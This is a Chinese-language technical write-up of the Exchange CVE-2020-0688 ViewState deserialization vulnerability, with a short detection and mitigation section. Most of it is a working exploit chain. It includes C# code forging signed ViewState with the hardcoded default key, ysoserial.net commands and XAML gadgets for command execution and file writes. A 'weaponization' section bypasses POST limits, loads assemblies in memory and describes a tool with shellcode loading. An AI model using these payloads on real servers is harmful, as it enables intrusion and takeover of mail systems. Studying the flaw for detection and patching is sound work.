0x00 前言
TL;DR
CVE-2020-0688是Exchange一个由于默认加密密钥造成的反序列化漏洞,该漏洞存在于Exchange Control Panel(ecp)中,不涉及Exchange的工作逻辑,其本质上是一个web漏洞。
鉴于国内对.net安全的讨论少之又少,对此借助这篇文章分析一下漏洞详细原理以及利用中的一些细节部分,一方面证明其实际危害性;另一方面抛砖引玉,希望能集思广益,挖掘更好的利用方式。
全文测试环境为Exchange 2013+Server 2012R2/Exchange 2016+Server 2016。由于ecp的一些限制以及低版本.net反序列化利用的复杂性,暂时不讨论更低版本。
完整阅读本文至少需要一小时的时间。
0x10 背景知识:反序列化、ViewState与MachineKey
0x11 反序列化
.net Framework(下称fx)原生支持多种序列化/反序列化方式,一些较为古老的系统和组件会使用binary和soap,而现在基本被xml和json所替代。
在binary序列化中有五个非常重要的类型:Serializable特性、ISerializable接口、MarshalByRefObject抽象类、IDeserializationCallback和IObjectReference接口。Serializable特性标记类可以进行基于值的序列化,MarshalByRefObject标记类可以进行基于引用的序列化,ISerializable接口决定序列化行为,IDeserializationCallback在反序列化过程中还原对象状态,IObjectReference实现工厂模式反序列化。
在序列化过程中由SerializationInfo保存序列化数据,可以粗略的将其理解为一个以字符串为键,以.net基元类型为值,以字符串形式的程序集名称和类型名进行包装的多层嵌套字典,形象一点的近似类比是注册表。
单纯标记Serializable特性的类会以字段名作为键,以字段值作为值,以字段值的实际类型作为类型名进行保存,等同于java中的Serializable接口的默认行为;实现ISerializable接口的类由GetObjectData方法控制SerializationInfo中的数据和类型,类似于java中定义在类型本身的writeObject和readObject或实现Externalizable接口的类;继承自MarshalByRefObject的类会写入一个ObjRef表示远程引用。
在反序列化过程中,首先会尝试调用具有(SerializationInfo,StreamingContext)签名的构造函数进行初始化,之后检测是否实现IObjectReference,如果实现则调用GetRealObject获取真实对象,否则返回对象本身。和java检测serialVersionUID不同,类型版本由SerializationInfo中保存的AssemblyName决定,其规则遵循clr默认程序集发现和加载策略,可认为是透明的。
fx的程序集中存在两个极为重要的工厂类:[mscorlib]System.DelegateSerializationHolder和[System.Workflow.ComponentModel]System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef。按照微软的本意,只有标记了SerializableAttribute、实现ISerializable、继承自MarshalByRefObject的类才能进行序列化/反序列化。序列化操作的实现是完全没有问题的,而在反序列化操作中并没有要求返回类型满足上述约束(当然,这是特性而不是漏洞)。借助DelegateSerializationHolder,我们可以反序列化任何委托(无论方法、属性,也不分静态或实例);而借助ObjectSerializedRef可实现任意类反序列化。
众所周知,委托实质上代表一个可以直接执行的.net方法。如果为序列化数据提供一个恶意委托(例如Process.Start(string)),那么在委托被调用时将实现代码执行。而实际上,在序列化时控制一个对象的某个方法的调用时机是比较麻烦的,所以借助IObjectReference::GetRealObject等在反序列化时会进行调用的方法是更好的选择。
基于以上结论,可以得到下面的测试代码,此代码中的Test类在进行反序列化时将导致命令执行:
//build and run: c:\windows\microsoft.net\framework\v4.0.30319\csc test.cs && test using System; using System.Diagnostics; using System.Security.Cryptography; using System.IO; using System.Web; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; [Serializable] class Test : IObjectReference { Func<string, object> _dele; string _parm; public Test(Func<string, object> dele, string parm) { _dele = dele; _parm = parm; } public Object GetRealObject(StreamingContext c) { return _dele(_parm); } } class a { static void Main(string[] args) { Test t = new Test(new Func<string, object>(Process.Start), "notepad"); byte[] data = Serialize(t); Console.WriteLine(Deserialize(data)); } static object Deserialize(byte[] b) { using (MemoryStream mem = new MemoryStream(b)) { mem.Position = 0; BinaryFormatter bf = new BinaryFormatter(); return bf.Deserialize(mem); } } static byte[] Serialize(object obj) { using (MemoryStream mem = new MemoryStream()) { BinaryFormatter bf = new BinaryFormatter(); bf.Serialize(mem, obj); return mem.ToArray(); } } }
所以我们只需要找到和上面代码相类似,且在fx或目标环境进行提供的类即可在真实环境中使用。限于篇幅,更细节的信息请参考ysoserial.net的TypeConfuseDelegateGenerator,其调用堆栈大致为:
System.Diagnostics.Process.Start System.Collections.Generic.ComparisonComparer<string>._comparison.Invoke System.Collections.Generic.ComparisonComparer<string>::Compare System.Collections.Generic.SortedSet<string>::OnDeserialization (after System.Collections.Generic.SortedSet<string>::.ctor(SerializationInfo,StreamingContext))
0x12 ViewState
ViewState是asp.net的一个特性,由[System.Web]System.Web.UI.Page类进行实现,其目的是为服务端控件状态进行持久化。从开发的角度看,所谓“控件状态”实际上就是服务端控件的属性或字段。fx在实现时采用了类似于ISerializable::GetObjectData的行为,由控件本身决定如何进行保存。
具体的序列化流程由[System.Web]System.Web.UI.ObjectStateFormatter进行处理。其返回结果以FF01作为magic,后续数据是近似于Type-Value的格式。由于控件本身可能需要保存较为复杂的类型,ObjectStateFormatter通过二进制序列化方式对这种情况进行支持,其TypeCode为0x32,Value为带有7bit-encoded长度前缀的二进制序列化数据。
所以可以使用以下代码手动生成一个合法的ViewState:
static byte[] GetViewState() { Test t = new Test(new Func<string, object>(Process.Start), "notepad"); byte[] data = Serialize(t); MemoryStream ms = new MemoryStream(); ms.WriteByte(0xff); ms.WriteByte(0x01); ms.WriteByte(0x32); uint num = (uint)data.Length; while (num >= 0x80) { ms.WriteByte((byte)(num | 0x80)); num = num >> 0x7; } ms.WriteByte((byte)num); ms.Write(data, 0, data.Length); return ms.ToArray(); }
在asp.net环境中,每一个aspx文件都会(在发布期间或初始化期间)被编译为一个继承Page类的对象。访问对应的页面时由[System.Web]System.Web.UI.PageHandlerFactory进行查找并创建实例,之后调用ProcessRequest方法处理当前的HttpContext。在随后的ProcessRequestMain方法中,将判断是否处于PostBack状态,如果是则获取Form或QueryString中的__VIEWSTATE,并在LoadAllState方法中进行反序列化。
上述过程的调用堆栈大致为:
System.Web.UI.ObjectStateFormatter.Deserialize System.Web.UI.Page.LoadAllState (if IsPostBack) System.Web.UI.Page.ProcessRequestMain System.Web.UI.Page.ProcessRequest
进入PostBack模式有两个条件:页面不是通过Server.Transfer进行重定向的,__VIEWSTATE等隐藏表单存在。默认直接访问页面即可满足上述条件。
0x13 ViewState验证、MacKeyModifier与MachineKey
由于ViewState完全由客户端传入,为了防止篡改,ObjectStateFormatter会使用MachineKey对信息进行加密或签名。在默认情况下,MachineKey由fx随机生成,长度为0x400;反序列化的数据不会进行加密,但会进行HMACSha256签名,计算出的签名将附加在数据最后。
高版本的fx添加了MacKeyModifier作为Salt,由ClientId和ViewStateUserKey两部分拼接而成。在默认情况下,ViewStateUserKey为空;ClientId的算法为当前页面虚拟目录路径与当前页面类型名称的HashCode之和,同时会以十六进制形式存放于名为__VIEWSTATEGENERATOR的隐藏表单中返回。
而即使ClientId不返回实际上也几乎没有影响:在不存在反向代理的情况下,最坏的黑盒情况依然可通过url逐级爆破获得当前页面虚拟路径;当前页面的类型名称则是固定的将请求路径中的句点(.)以及斜杠(/)替换为下划线(_),例如/a/b/c.aspx最终的类型名为a_b_c_aspx。
无论加密还是解密时,ObjectStateFormatter都会根据对应的Page重新计算MacKeyModifier,客户端请求所发送的__VIEWSTATEGENERATOR不参与反序列化。
综上,在已知key的情况下,可以使用以下代码直接算出hash,以及最终的ViewState:
byte[] data=GetViewState(); byte[] key=new byte[]{0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf,0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf}; int hashcode = StringComparer.InvariantCultureIgnoreCase.GetHashCode("/"); uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("index_aspx")); byte[] _mackey = new byte[4]; _mackey[0] = (byte)_clientstateid; _mackey[1] = (byte)(_clientstateid >> 8); _mackey[2] = (byte)(_clientstateid >> 16); _mackey[3] = (byte)(_clientstateid >> 24); MemoryStream ms = new MemoryStream(); ms.Write(data,0,data.Length); ms.Write(_mackey,0,_mackey.Length); byte[] hash=(new HMACSHA256(key)).ComputeHash(ms.ToArray()); ms=new MemoryStream(); ms.Write(data,0,data.Length); ms.Write(hash,0,hash.Length); Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
编译上述代码,执行,复制输出。
在IIS的默认站点进行下列操作:确保应用程序池为.net 4.0,新建一个空白的default.aspx,将刚刚编译的exe复制到bin目录下,在web.config中添加MachineKey(如下)。
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <machineKey validationKey="000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f" /> </system.web> </configuration>
将前面复制的输出作为QueryString或FormData,访问default.aspx,会看到w3wp.exe创建了子进程notepad。
0x20 ecp的限制与初步利用
0x21 ecp的配置与限制
由于这是一个默认Key导致的漏洞,所以首先查看ecp的配置文件。配置文件存放在%ExchangeInstallPath%\ClientAccess\ecp\web.config,可以看到其中默认的validationKey:CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF。
ecp当然不会存在前面用于测试的Test类,对反序列化非常熟悉的话可以查找一些可以利用的类。当然也可以偷个懒,借助ysoserial.net生成一个命令执行的payload:
ysoserial.exe -g TypeConfuseDelegate -c notepad -f binaryformatter -o base64
修改上面的脚本生成ViewState,访问,无论GET还是POST均毫无疑问的返回404,将POST修改为GET进行伪装则返回501。
根据501页面的内容,很明显是请求被前置模块进行了过滤;GET返回404的原因是IIS默认限制QueryString最大长度为2048;POST返回404则是在web.config中重写了全部处理程序映射,禁止了绝大部分aspx文件的POST请求方法:
而几个允许POST的白名单中,Download.aspx并非通过PageHandlerFactory进行处理,其余的要么文件不存在,要么低权限用户无权访问。
必须找到对这些限制进行绕过的方式才能成功利用此漏洞。
0x22 无效的ViewStateUserKey
在查找绕过方式之前,让我们回过头来,计算一下已知的ViewState进行验证,以确保ecp不存在其他奇奇怪怪的配置。
正常访问default.aspx,复制ViewState的值,进行base64解码,并去掉最后0x14个字节。例如测试环境中的ViewState解码后的数据为ff010f0f050a2d3231303138363636396464。
之后修改前面的代码:
byte[] data=new byte[]{0xff,0x01,0x0f,0x0f,0x05,0x0a,0x2d,0x32,0x31,0x30,0x31,0x38,0x36,0x36,0x36,0x39,0x64,0x64}; byte[] key=new byte[]{0xCB,0x27,0x21,0xAB,0xDA,0xF8,0xE9,0xDC,0x51,0x6D,0x62,0x1D,0x8B,0x8B,0xF1,0x3A,0x2C,0x9E,0x86,0x89,0xA2, 0x53,0x03,0xBF}; int hashcode = StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp"); uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx")); //.... byte[] hash=(new HMACSHA1(key)).ComputeHash(ms.ToArray());
执行,返回以下结果:
可以看到ClientId是正确的,而Hash不同,显然页面存在ViewStateUserKey。
修改页面输出ViewStateUserKey,可看到和cookie中ASP.NET_SessionId相同。
而我们知道Exchange使用cookie登录而不是Session,在web.config中也移除了Session模块:
所以可推测ViewStateUserKey完全由客户端控制,将cookie中ASP.NET_SessionId置空,此时远程返回了相同的ViewState:
证明推论正确,这将在后续操作中节约几个步骤。
0x23 更换payload进行初步利用
现在再反过来思考绕过的问题,首先处理程序映射属于asp.net的核心部分,不可能绕过;501检测位置不明,但删除POST包中的Content-Type后依然返回501,证明检测逻辑很可能为if(Method=="GET" && ContentLength>0){501;};最后只剩下减小payload长度一种方式。
ysoserial.net提供了很多的payload,我们可以尝试一下其他generator,例如TextFormattingRunProperties:
ysoserial.exe -g TextFormattingRunProperties -c notepad -f binaryformatter >out.dat
将GetViewState方法中的数据进行替换,执行并生成ViewState,使用burp将cookie中ASP.NET_SessionId置空,访问,远程返回500,同时执行了命令cmd /c notepad。
0x24 xaml与代码执行
借助TextFormattingRunPropertiesGenerator,我们能够成功的通过ecp达到Exchange Server的远程代码执行,但其中的原理是什么?能否进行更深入层次的运用?
查看ysoserial.net源码可发现,TextFormattingRunPropertiesGenerator会返回一个[Microsoft.PowerShell.Editor]Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties对象的序列化数据,同时添加了一个键名为ForegroundBrush,值为xaml字符串的序列化信息。
public void GetObjectData(SerializationInfo info, StreamingContext context) { Type typeTFRP = typeof(TextFormattingRunProperties); info.SetType(typeTFRP); info.AddValue("ForegroundBrush", _xaml); }
查看Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties..ctor(SerializationInfo,StreamingContext)的代码,可以看到在反序列化过程中会取出这个xaml,之后调用[PresentationFramework]System.Windows.Markup.XamlReader.Parse进行解析:
private object GetObjectFromSerializationInfo(string name, SerializationInfo info) { string @string = info.GetString(name); if (@string == "null") { return null; } return XamlReader.Parse(@string); }
其调用堆栈大致如下:
[PresentationFramework]System.Windows.Markup.XamlReader.Parse Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties.GetObjectFromSerializationInfo Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties..ctor
xaml是wpf的界面组件代码,可以通过xml的形式构建窗体对象或存放运行时所需的资源。在执行XamlReader.Parse时会实例化其中声明的对象,并绑定属性。
在解析器的实现中,ResourceDictionary负责对静态资源进行存储,ObjectDataProvider作为工厂类负责通过方法调用等方式生成对象。如果为ObjectDataProvider提供恶意方法,同样可以达到代码执行的目的。
对照ysoserial.net生成的xaml:第一行表示该xaml为一个ResourceDictionary对象;第二行将System、System.Diagnostics两个命名空间和xmlns进行映射;第三行声明了一个ObjectDataProvider,并将其ObjectType属性赋值为typeof(System.Diagnostics.Process),MethodName属性赋值为Start;第四行至第七行声明了调用该方法是要传递的参数,分别为cmd和"/c notepad"。
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" > <ObjectDataProvider.MethodParameters> <System:String>cmd</System:String> <System:String>"/c notepad"</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>
XamlReader在解析上述xaml时,首先根据根元素创建ResourceDictionary对象,该对象实现了IDirectory接口,所以其后的ObjectDataProvider将作为成员进行存储。接下来初始化ObjectDataProvider对象,并设置ObjectType、MethodName、MethodParameters三个属性。
ObjectDataProvider在MethodParameters改变时会调用OnParametersChanged方法,最终将通过反射调用Process.Start,并传递参数。其流程和以下伪代码相对应:
typeof(Process).GetMethod("Start").Invoke(null,new object[]{"cmd","\"/c notepad\""})
可将xaml进行保存,然后执行下面的PowerShell脚本进行验证:
Add-Type -AssemblyName PresentationFramework [System.Windows.Markup.XamlReader]::Parse([io.file]::readalltext('xaml.txt'))
最后,我们可以将ysoserial.net中相关代码提取出来,稍作修改和之前的代码合并作为生成器:
[Serializable] public class TextFormattingRunPropertiesMarshal : ISerializable { protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context){} string _xaml; public void GetObjectData(SerializationInfo info, StreamingContext context) { info.SetType(typeof(TextFormattingRunProperties)); info.AddValue("ForegroundBrush", _xaml); } public TextFormattingRunPropertiesMarshal(string xaml) { _xaml = xaml; } } static byte[] GetViewState(byte[] data){....} //in main byte[] data=GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xa)));
成功执行命令仅仅是一个开始。无论红队还是蓝队,在目标无法出网的情况下,单纯的执行命令既不能判断漏洞存在与否,也很难达成稳定隐蔽的控制。
请记住xaml这个关键点,在后续的漏洞利用过程中是最为重要的一环。
0x30 蓝队:检测与缓解措施
0x31 构造检测xaml
在远程无回显地执行命令很难确切地知道漏洞利用成功与否,由于不确定目标环境是否能够出网,即使有dnslog这种方式也很难做到完整检测。
所以我们需要一种简单的方式进行验证。
xaml不光支持调用静态方法,同样支持获取静态属性、获取实例属性或调用实例方法。于是可以通过[System.Web]System.Web.HttpContext::Current获取当前Http上下文,并对Response进行操作。
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:s="clr-namespace:System;assembly=mscorlib" xmlns:w="clr-namespace:System.Web;assembly=System.Web"> <ObjectDataProvider x:Key="a" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""></ObjectDataProvider> <ObjectDataProvider x:Key="b" ObjectInstance="{StaticResource a}" MethodName="get_Response"></ObjectDataProvider> <ObjectDataProvider x:Key="c" ObjectInstance="{StaticResource b}" MethodName="get_Headers"></ObjectDataProvider> <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="Add"> <ObjectDataProvider.MethodParameters> <s:String>X-ZCG-TEST</s:String> <s:String>CVE-2020-0688</s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource b}" MethodName="End"></ObjectDataProvider> </ResourceDictionary>
上述xaml在加载时的流程等同于:
var a=HttpContext.Current; var b=a.Response; var c=b.Headers; c.Add("X-ZCG-TEST","CVE-2020-0688"); b.End();
修改生成payload,访问,可看到增加了一个返回头X-ZCG-TEST,其值为CVE-2020-0688。和执行命令的poc不同,由于调用了Response.End,不会导致后续异常,返回状态码为正常的200。
当然,调用诸如Response.AppendCookie、Response.AddHeader等方法都是可以的,只要最终生成的QueryString不超过2048就不会有任何问题。
0x32 修复措施
由于ecp本身不使用任何ViewState相关的方法(事实上在多个页面中禁用了ViewState),最简单的修复方式就是删除web.config中machineKey一节:
<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />
之后ecp会自动重启,随后将采用随机生成的0x400长度的key进行加密。
0x40 红队:武器化
0x41 绕过POST限制
红队操作更考虑隐蔽以及稳定控制,限制长度的Payload具有非常大的局限性,很难实现完美控制。
POST不受长度限制但默认被禁用,所有不需要权限的白名单文件均不存在。如果创建一个原本不存在的白名单文件,能否进行绕过?
那么进行测试,从web.config中随便挑一个允许POST且不存在的aspx文件,例如LiveIdError.aspx。在测试环境的ecp目录创建这个空文件。
之后修改之前的代码:
uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("liveiderror_aspx"));
编译执行访问,可看到返回了测试标识,证明思路有效。
0x42 构造写入文件的xaml
那么现在的问题就变成了:如何通过简短的反序列化,在ecp目录创建一个指定名称的空白文件?熟悉.net的人可能会瞬间给出答案,System.IO.File::AppendAllText(string,string)可以向指定路径的文件追加指定内容,当文件不存在时会创建。
使用此方法还有一个小问题,AppendAllText第一个参数如果是相对路径的话,将在CurrentDirectory创建文件,而绝大多数情况下w3wp的CurrentDirectory为%systemroot%\system32\inetsrv。
简单粗暴的解决这个问题有两种方案:由于Exchange会将安装目录保存在环境变量ExchangeInstallPath中,所以直接调用cmd进行echo即可;或者直接使用默认安装路径C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp。
第一种可能会触发某些监控,第二种则存在小概率修改目录的可能。
这两种方案的xaml分别如下:
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" > <ObjectDataProvider.MethodParameters> <System:String>cmd</System:String> <System:String>"/c cd %ExchangeInstallPath% && echo . > ClientAccess\ecp\LiveIdError.aspx"</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:s="clr-namespace:System;assembly=mscorlib" xmlns:io="clr-namespace:System.IO;assembly=mscorlib"> <ObjectDataProvider x:Key="x" ObjectType="{x:Type io:File}" MethodName="WriteAllText"> <ObjectDataProvider.MethodParameters> <s:String>C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\LiveIdError.aspx</s:String> <s:String></s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>
编译执行访问,均可在ecp目录创建LiveIdError.aspx文件。
0x43 优化文件写入
显然,粗暴的方式有着各种各样的缺点,对于完美主义者,还需要找到其他方式进行规避。
我们现在已知绝对路径存放于%ExchangeInstallPath%,那么只要将其取出作为ObjectDataProvider.MethodParameters的第一个参数即可。但通过ObjectDataProvider调用方法的后,存放于ResourceDictionary中的实际上还是一个ObjectDataProvider实例,直接将其作为参数传入会抛出异常,所以需要一个能够调用方法且返回类型本身的方式。
在查询xaml官方文档后可以找到x:FactoryMethod指令,该指令用于对象初始化。其实现为通过调用静态方法并强制转换为xaml元素指定的对象类型,完全符合需求。
那么解决方案也就很简单了:在s:String元素上以FactoryMethod方式调用[mscorlib]System.Environment::GetEnvironmentVariable获取安装路径,之后以同样方式调用[mscorlib]System.String.Concat拼接文件名,最后调用AppendAllText写入文件。
完整的xaml如下:
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:s="clr-namespace:System;assembly=mscorlib" xmlns:w="clr-namespace:System.Web;assembly=System.Web"> <s:String x:Key="a" x:FactoryMethod="s:Environment.GetEnvironmentVariable" x:Arguments="ExchangeInstallPath"/> <s:String x:Key="b" x:FactoryMethod="Concat"> <x:Arguments> <StaticResource ResourceKey="a"/> <s:String>\ClientAccess\ecp\LiveIdError.aspx</s:String> </x:Arguments> </s:String> <ObjectDataProvider x:Key="x" ObjectType="{x:Type s:IO.File}" MethodName="AppendAllText"> <ObjectDataProvider.MethodParameters> <StaticResource ResourceKey="b"/> <s:String></s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key="c" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""/> <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="get_Response"/> <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource d}" MethodName="End"/> </ResourceDictionary>
此xaml等同于以下C#代码:
string a=Environment.GetEnvironmentVariable("ExchangeInstallPath"); string b=string.Concat(a,"\ClientAccess\ecp\LiveIdError.aspx"); File.AppendAllText(b,""); HttpContext.Current.Response.End();
编译执行访问,可在未知绝对路径的情况下无感知地创建我们需要的空白文件。
0x44 高级操作与ysoserial.net缺陷
通过第一阶段创建的白名单文件,可以将不足2048字节的payload拓展到IIS默认的4M上限,这样我们就能通过更大的payload进行高级操作。
所谓高级操作,就是以不落地的方式在当前进程内存中执行任何操作,包括但不限于执行命令并回显、读写文件、加载ShellCode、后渗透等等。在.net无限制反序列化的环境前提下,可以通过ObjectSerializedRef反序列化LinqIterator对象在内存中加载.net程序集并实例化,最终实现任意代码执行。这个方式在yssoserial.net中以ActivitySurrogateSelectorGenerator和ActivitySurrogateSelectorFromFileGenerator进行实现。
ActivitySurrogateSelectorFromFileGenerator提供一个将C#源码编译为程序集并在远程加载的功能,首先创建以下测试代码:
class E { public E() { try { System.Diagnostics.Process.Start("notepad"); System.Web.HttpContext.Current.Response.Write("exploit!"); System.Web.HttpContext.Current.Response.End(); } catch{} } }
之后执行以下命令生成payload。这里注意,为了保证测试效果防止提前踩坑,请暂时在目标Exchange服务器上执行:
ysoserial -g ActivitySurrogateSelectorFromFile -f BinaryFormatter -c exploitclass.cs;System.Web.dll;System.dll >o.dat
修改之前的反序列化测试程序,编译执行访问,不出意外的话可以得到以下结果:
成功创建子进程notepad,回显输出exploit!,表明上述代码已经在远程执行。接下来对代码进行自定义修改即可进行任何操作,例如命令回显、ShellCode等等。
看似一切完美?其实并不。现在可以打开C:\Windows\Microsoft.NET\Framework64\v4.0.30319目录,查看System.Core.dll的文件版本。例如当前测试环境为4.7.3362.0,表示fx版本为4.7.x。
下面来模拟真实环境远程生成payload。真实环境下不可能知道对方的fx版本(返回头中的版本号永远都是4.0.30319),所以常规做法是通过ysoserial.net直接生成一个payload并发送。
例如通过同样的方式,在文件版本4.6.1098.0(对应fx版本4.6.x)的环境下能够成功生成payload,但继续编译执行访问,不会得到任何结果。
如果将这个payload复制到Exchange服务器并使用以下Powershell脚本进行测试,会得到一个TypeLoadException:
$fmt=new-object System.Runtime.Serialization.Formatters.Binary.BinaryFormatter; $mft.Deserialize((new-object System.IO.FileStream("o.dat",'Open','Read')));
根据错误信息对应到[System.Core]System.Linq.Enumerable类,可以看到在fx 4.7.x的程序集中这个类的名称由Enumerable+<SelectManyIterator>d__16变成了Enumerable+<SelectManyIterator>d__17。
反序列化时找不到类型自然无法创建实例,最终导致利用失败。
0x45 构造完美的反序列化数据
解决这个问题需要结合ActivitySurrogateSelectorGenerator以及LinqIterator的源码进行分析。
首先要理解ActivitySurrogateSelectorGenerator的工作原理,其逻辑非常简单:通过linq调用,顺序执行Assembly::Load(byte[])、Assembly.GetTypes()、Activator::CreateInstance(Type),从而实例化由字节数组存储的程序集中定义的类,达到代码执行的效果。整体流程大致等价为以下C#代码:
foreach(byte[] data in byte[][]) { foreach(Type t in Assembly.Load(data).GetTypes()) { Activator.CreateInstance(t); } }
而序列化保存的数据大部分都是在Linq调用过程中用于返回数据的迭代器或枚举器。
之后,在ilspy中查找Enumerable+<SelectManyIterator>d__17的引用,可发现在System.Linq.Enumerable.SelectManyIterator方法进行调用,反编译可以看到以下代码:
可以看到是一个迭代器语法糖,很明显是由编译器自动生成的状态机类。实际上,类型名中的16/17为编译期间由编译器内部维护的一个序号,随着自动生成的类增加而增长,所以在不同版本的fx中不一定相同。
为了避免这样的问题,继续查找是哪个调用导致将此对象写入了序列化数据中。迭代器的上级调用有且只有System.Linq.Enumerable.SelectMany,而这正是在ActivitySurrogateSelectorGenerator中调用的拓展方法:
var e2 = e1.SelectMany(map_type);
现在最后的问题就转换成了如何将SelectMany替换为其他等价表达式。根据代码以及生成的数据可以知道,Where表达式/拓展方法返回的WhereSelectEnumerableIterator不会调用自动生成的类,是一个较好的序列化目标。
WhereSelectEnumerableIterator中包含两个委托selector和predicate。其中selector的签名为Func<T,R>,可以调用诸如Assembly.Load等静态方法将一个对象转换为另外的对象,或是在一个对象实例上调用无参方法;predicate的签名为Func<T,bool>,会作为条件判断在selector之前进行调用。
缺失的调用链中GetTypes返回一个Type数组,由[mscorlib]System.Array基类实现IEnumerable接口,于是可以调用GetEnumerator方法,获取一个IEnumerator对象。通过获取IEnumerator对象的Current属性,可以得到Type实例,在获取之前需要调用MoveNext方法,该方法的签名恰好和predicate匹配。
所以最后不难得出以下调用链:
Activator.CreateInstance(Assembly.Load(byte[]).GetTypes().GetEnumerator().{MoveNext(),get_Current()})
对应的代码为:
static IEnumerable<TResult> GetEnum<TSource,TResult> ( IEnumerable<TSource> src, Func<TSource, bool> predicate, Func<TSource, TResult> selector ) { Type t=Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089") .GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2") .MakeGenericType(typeof(TSource),typeof(TResult)); return t.GetConstructors()[0].Invoke(new object[]{src,predicate,selector}) as IEnumerable<TResult>; } IEnumerable<Assembly> e2=GetEnum<byte[],Assembly>(new byte[][]{File.ReadAllBytes("RemoteStub.dll")},null,Assembly.Load); IEnumerable<IEnumerable<Type>> e3=GetEnum<Assembly,IEnumerable<Type>>(e2, null, (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate ( typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes") ) ); IEnumerable<IEnumerator<Type>> e4 = GetEnum<IEnumerable<Type>,IEnumerator<Type>>(e3, null, (Func<IEnumerable<Type>,IEnumerator<Type>>)Delegate.CreateDelegate ( typeof(Func<IEnumerable<Type>,IEnumerator<Type>>), typeof(IEnumerable<Type>).GetMethod("GetEnumerator") ) ); IEnumerable<Type> e5 = GetEnum<IEnumerator<Type>,Type>(e4, (Func<IEnumerator<Type>,bool>)Delegate.CreateDelegate ( typeof(Func<IEnumerator<Type>,bool>), typeof(IEnumerator).GetMethod("MoveNext") ), (Func<IEnumerator<Type>,Type>)Delegate.CreateDelegate ( typeof(Func<IEnumerator<Type>,Type>), typeof(IEnumerator<Type>).GetProperty("Current").GetGetMethod() ) ); PagedDataSource pds = new PagedDataSource() { DataSource = e5 }; //.... ls.Add(e1); ls.Add(e2); # ls.Add(e3); ls.Add(e4); ls.Add(e5); ls.Add(pds); //....
注意,通过链式Select会调用WhereSelectEnumerableIterator.Select方法,此方法的调用过程中使用了lambda表达式,同样会导致序列化编译器自动生成的类,所以只能通过反射进行创建。RemoteStub.dll为需要在远程加载执行的dll。
修改ActivitySurrogateSelectorGenerator并重新生成payload,其中不再包含任何自动生成类。编译执行访问成功加载执行我们指定的程序集,至此漏洞利用圆满达成。
0x50 Exp
有了上述研究结论,编写出更为通用的exp也就不难了,可以在github进行下载。
其中ExchangeDetect为检测程序,原理基于0x31一节所述,可以在CoreCLR环境下运行。仅支持单个检测,存在漏洞的话ExitCode将返回4。如果需要批量检测请自行修改或判断返回值。
执行结果如图所示:
ExchangeCmd为Exp,支持命令执行和远程ShellCode加载,其原理基于0x41-0x45小节所述。第一阶段通过反序列化写入空白LiveIdError.aspx,第二阶段通过向此文件发送最终的Payload加载指定自定义dll,达到代码执行。
执行成功后会返回一个伪交互式命令行,其支持的命令如下:
exec <cmd> [args] exec command arch get remote process architecture(for shellcode) shellcode <shellcode.bin> run shellcode exit exit program
